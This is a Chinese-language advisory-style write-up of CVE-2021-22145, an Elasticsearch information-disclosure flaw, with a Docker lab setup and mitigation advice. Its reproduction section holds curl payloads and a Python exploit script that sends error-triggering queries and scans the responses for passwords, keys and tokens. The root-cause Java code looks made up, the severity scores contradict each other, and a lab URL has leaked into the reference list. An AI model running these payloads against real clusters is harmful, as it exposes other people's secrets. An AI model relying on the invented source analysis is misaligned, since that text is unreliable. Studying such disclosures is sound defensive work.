一、漏洞简介

1.1 漏洞背景

2021年7月,Elastic 官方发布了 CVE-2021-22145,这是一个内存泄露漏洞,允许攻击者通过构造恶意查询从错误信息中获取敏感信息。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2021-22145
危害等级 MEDIUM / 6.5
漏洞类型 内存泄露漏洞
披露时间 2021-07-21
影响组件 Elasticsearch 安全
  • 漏洞类型: 内存信息泄露 / 敏感信息暴露
  • CVE ID: CVE-2021-22145
  • 危害等级: 中危
  • CVSS 评分: 4.3 (AV:N/AC:L/Au:N/C:P/I:N/A:N)
  • CWE ID: CWE-209 (Error Message Information Exposure), CWE-200
  • 发现时间: 2021年7月
  • 影响版本: Elasticsearch 7.10.0 - 7.13.3

补充核验信息:公开时间:2021-07-21;NVD 评分:6.5(MEDIUM);CWE:CWE-200。

二、影响范围

2.1 受影响的版本

  • Elasticsearch 7.10.0 - 7.13.3

2.2 不受影响的版本

  • Elasticsearch < 7.10.0
  • Elasticsearch ≥ 7.13.4

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 攻击者能够向 Elasticsearch 提交查询
  2. 查询触发错误条件
  3. 错误信息返回给客户端

三、漏洞详情与原理解析

3.1 漏洞触发机制

当 Elasticsearch 处理恶意构造的查询时,错误信息可能包含内存缓冲区的残留数据:

恶意查询 → 解析错误 → 返回错误信息(包含内存残留)
                              ↓
                    敏感数据:密码、令牌、文档内容

这些残留数据可能来自: - 之前查询的文档内容 - 认证令牌 - 其他用户的敏感信息

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞代码(简化版):

// SearchPhaseController.java
public class SearchPhaseController {
    public void executeQuery(SearchRequest request, ActionListener<SearchResponse> listener) {
        try {
            // 执行查询
            SearchResponse response = searchService.execute(request);
            listener.onResponse(response);
        } catch (Exception e) {
            // 漏洞:错误信息中可能包含缓冲区残留
            BytesReference buffer = context.getBuffer();
            String errorMsg = "Query failed: " + e.getMessage() +
                              "\nBuffer: " + buffer.utf8ToString();
            listener.onFailure(new ElasticsearchException(errorMsg));
        }
    }
}

问题: - 缓冲区未清零就复用 - 错误信息包含过多调试数据 - 敏感数据未过滤

修复代码(7.13.4+):

public class SearchPhaseController {
    public void executeQuery(SearchRequest request, ActionListener<SearchResponse> listener) {
        try {
            SearchResponse response = searchService.execute(request);
            listener.onResponse(response);
        } catch (Exception e) {
            // 修复:只返回必要的错误信息
            String errorMsg = "Query failed: " + e.getClass().getSimpleName();
            listener.onFailure(new ElasticsearchException(errorMsg));

            // 清理缓冲区
            secureWipe(context.getBuffer());
        }
    }

    private void secureWipe(BytesReference buffer) {
        // 安全擦除缓冲区
        Arrays.fill(buffer.array(), (byte) 0);
    }
}

四、漏洞复现(可选)

4.1 环境搭建

# 启动受影响版本
docker run -d --name es-cve-2021-22145 \
  -p 9200:9200 \
  -e "discovery.type=single-node" \
  -e "xpack.security.enabled=true" \
  -e "ELASTIC_PASSWORD=password123" \
  docker.elastic.co/elasticsearch/elasticsearch:7.13.3

4.2 PoC 演示与测试过程

# 首先创建一些敏感数据
curl -u elastic:password123 -X POST "http://target:9200/secrets/doc/1" -H 'Content-Type: application/json' -d'
{
  "api_key": "sk-secret-key-12345",
  "password": "admin123"
}'

# 构造触发错误的查询
curl -u elastic:password123 -X POST "http://target:9200/_search" -H 'Content-Type: application/json' -d'
{
  "query": {
    "bool": {
      "must": [
        {
          "script": {
            "script": "invalid script syntax [[["
          }
        }
      ]
    }
  }
}'

# 查看错误响应中是否包含敏感信息

PoC 脚本:

#!/usr/bin/env python3
import requests
import json
import re
import sys
from requests.auth import HTTPBasicAuth

class CVE202122145:
    def __init__(self, target, user, password):
        self.target = target
        self.auth = HTTPBasicAuth(user, password)
        self.base_url = f"http://{target}:9200"

    def create_sensitive_data(self):
        """创建测试数据"""
        data = {
            "secret_token": "super-secret-token-abc123",
            "api_key": "sk-live-xxxxxxxxxxxx",
            "password": "admin-password-123"
        }
        r = requests.post(
            f"{self.base_url}/sensitive/doc/1",
            json=data,
            auth=self.auth
        )
        return r.status_code == 201

    def trigger_memory_leak(self):
        """触发内存泄露"""
        # 各种触发错误的查询模式
        payloads = [
            # 无效脚本语法
            {
                "query": {
                    "script": {
                        "script": "invalid[[["
                    }
                }
            },
            # 无效正则
            {
                "query": {
                    "regexp": {
                        "field": "[invalid(regex"
                    }
                }
            },
            # 类型错误
            {
                "query": {
                    "term": {
                        "nonexistent": {"field": "value"}
                    }
                }
            }
        ]

        leaked_data = []
        for payload in payloads:
            try:
                r = requests.post(
                    f"{self.base_url}/_search",
                    json=payload,
                    auth=self.auth
                )
                if r.status_code >= 400:
                    response_text = r.text
                    # 检查是否包含敏感信息
                    if any(s in response_text for s in ['secret', 'password', 'key', 'token']):
                        leaked_data.append({
                            'payload': payload,
                            'response': response_text
                        })
            except Exception as e:
                pass

        return leaked_data

    def exploit(self):
        print("[*] Creating sensitive data...")
        if self.create_sensitive_data():
            print("[+] Data created")

        print("[*] Triggering memory leak...")
        leaks = self.trigger_memory_leak()

        if leaks:
            print(f"[+] Found {len(leaks)} potential memory leaks:")
            for leak in leaks:
                print(f"\n--- Leak ---")
                print(json.dumps(leak, indent=2))
        else:
            print("[-] No memory leaks detected")

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print("Usage: python exploit.py <target> <user> <password>")
        sys.exit(1)

    exploit = CVE202122145(sys.argv[1], sys.argv[2], sys.argv[3])
    exploit.exploit()

五、修复建议与缓解措施

5.1 官方版本升级建议

  1. 升级到 Elasticsearch ≥ 7.13.4
  2. 或升级到 8.x 最新版本

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案一:限制错误信息详细程度

# elasticsearch.yml
# 限制返回的错误信息(需要插件支持)
logger.level: WARN

方案二:使用代理过滤响应

# 使用 Nginx 或自定义代理过滤敏感错误信息
import re

def filter_error_response(response):
    # 移除可能的敏感数据
    patterns = [
        r'(password|token|key|secret)["\']?\s*[:=]\s*["\'][^"\']+["\']',
        r'Buffer:\s*[\s\S]+'
    ]
    for pattern in patterns:
        response = re.sub(pattern, '[REDACTED]', response, flags=re.IGNORECASE)
    return response

六、参考信息 / 参考链接

6.1 官方安全通告

  • https://discuss.elastic.co/t/elasticsearch-7-13-4-security-update/279177
  • https://www.oracle.com/security-alerts/cpuapr2022.html

6.2 其他技术参考资料

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2021-22145
  • CVE:https://www.cve.org/CVERecord?id=CVE-2021-22145
  • https://discuss.elastic.co/t/elasticsearch-7-13-4-security-update/279177
  • https://www.oracle.com/security-alerts/cpuapr2022.html
  • https://gist.github.com/lucasdrufva/f9c5d7c9e26ee087b736d727953afd34
  • https://security.netapp.com/advisory/ntap-20210827-0006/
  • http://packetstormsecurity.com/files/163648/ElasticSearch-7.13.3-Memory-Disclosure.html
  • http://target:9200/secrets/doc/1"